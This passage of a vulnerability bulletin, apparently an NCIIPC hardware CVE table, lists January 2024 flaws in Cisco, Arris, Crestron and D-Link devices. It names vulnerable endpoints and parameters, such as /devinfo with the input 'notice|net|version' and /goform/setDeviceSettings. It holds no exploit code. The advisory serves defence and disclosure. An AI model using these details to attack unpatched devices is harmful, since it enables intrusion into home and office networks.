Improper Neutralization of Special Elements used in a Command ('Command Injection')	17-Jan-2024	7.2	A vulnerability in the web-based management interface of the Cisco WAP371 Wireless-AC/N Dual Radio Access Point (AP) with Single Point Setup could allow an authenticated, remote attacker to perform command injection attacks against an affected device. This vulnerability is due to improper validation of user-	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-wap-inject-bHStWgXO	H-CIS-WAP3-090224/1453

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			supplied input. An attacker could exploit this vulnerability by sending crafted HTTP requests to the web-based management interface of an affected system. A successful exploit could allow the attacker to execute arbitrary commands with root privileges on the device. To exploit this vulnerability, the attacker must have valid administrative credentials for the device. **CVE ID : CVE-2024-20287**		
Vendor: commscope					
Product: arris_surfboard_sbg6950ac2					
Affected Version(s): -					
Missing Authentication for Critical Function	26-Jan-2024	9.8	An arbitrary code execution vulnerability exists in Arris SURFboard SGB6950AC2 devices. An unauthenticated attacker can exploit this vulnerability to achieve code execution as root.	N/A	H-COM-ARRI-090224/1454

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23618		
Vendor: Crestron					
Product: am-300					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	23-Jan-2024	7.8	There is an OS command injection vulnerability in Crestron AM-300 firmware version 1.4499.00018 which may enable a user of a limited-access SSH session to escalate their privileges to root-level access. **CVE ID : CVE-2023-6926**	N/A	H-CRE-AM-3-090224/1455
Vendor: Dlink					
Product: dap-1360					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-	N/A	H-DLI-DAP--090224/1456

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dap-1650					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	26-Jan-2024	9.8	A command injection vulnerability exists in the gena.cgi module of D-Link DAP-1650 devices. An unauthenticated attacker can exploit this vulnerability to gain command execution on the device as root. **CVE ID : CVE-2024-23624**	N/A	H-DLI-DAP--090224/1457
Improper Neutralization of Special Elements used in a Command ('Command Injection')	26-Jan-2024	9.8	A command injection vulnerability exists in D-Link DAP-1650 devices when handling UPnP SUBSCRIBE messages. An unauthenticated attacker can exploit this vulnerability to gain command execution on the device as root. **CVE ID : CVE-2024-23625**	N/A	H-DLI-DAP--090224/1458

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: dir-1210					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP	N/A	H-DLI-DIR--090224/1459

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-1260					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-	N/A	H-DLI-DIR--090224/1460

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-2150					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The	N/A	H-DLI-DIR--090224/1461

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-300					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-	N/A	H-DLI-DIR--090224/1462

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-615					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the	N/A	H-DLI-DIR--090224/1463

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-615gf					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224,	N/A	H-DLI-DIR--090224/1464

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-615s					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the	N/A	H-DLI-DIR--090224/1465

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-615t					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224,	N/A	H-DLI-DIR--090224/1466

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-620					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the	N/A	H-DLI-DIR--090224/1467

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-620s					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224,	N/A	H-DLI-DIR--090224/1468

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-806a					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the	N/A	H-DLI-DIR--090224/1469

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-815					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	24-Jan-2024	9.8	There is a command injection vulnerability in the ssdpcgi_main function of cgibin binary in D-Link DIR-815 router firmware v1.04. **CVE ID : CVE-2024-22651**	N/A	H-DLI-DIR--090224/1470
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822,	N/A	H-DLI-DIR--090224/1471

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-815s					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to	N/A	H-DLI-DIR--090224/1472

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-815\/ac					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-	N/A	H-DLI-DIR--090224/1473

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-816					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability	N/A	H-DLI-DIR--090224/1474

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-816_a2					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	26-Jan-2024	9.8	A vulnerability has been found in D-Link DIR-816 A2 1.10CNB04 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /goform/setDeviceSettings of the component Web Interface. The manipulation of the argument	N/A	H-DLI-DIR--090224/1475

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			statuscheckpppoeuser leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252139. **CVE ID : CVE-2024-0921**		
Product: dir-820					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U,	N/A	H-DLI-DIR--090224/1476

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-822					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360,	N/A	H-DLI-DIR--090224/1477

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-825					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-	N/A	H-DLI-DIR--090224/1478

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-825ac					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-	N/A	H-DLI-DIR--090224/1479

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-825acf					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-	N/A	H-DLI-DIR--090224/1480

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-825acg1					
Affected Version(s): -					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S,	N/A	H-DLI-DIR--090224/1481

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
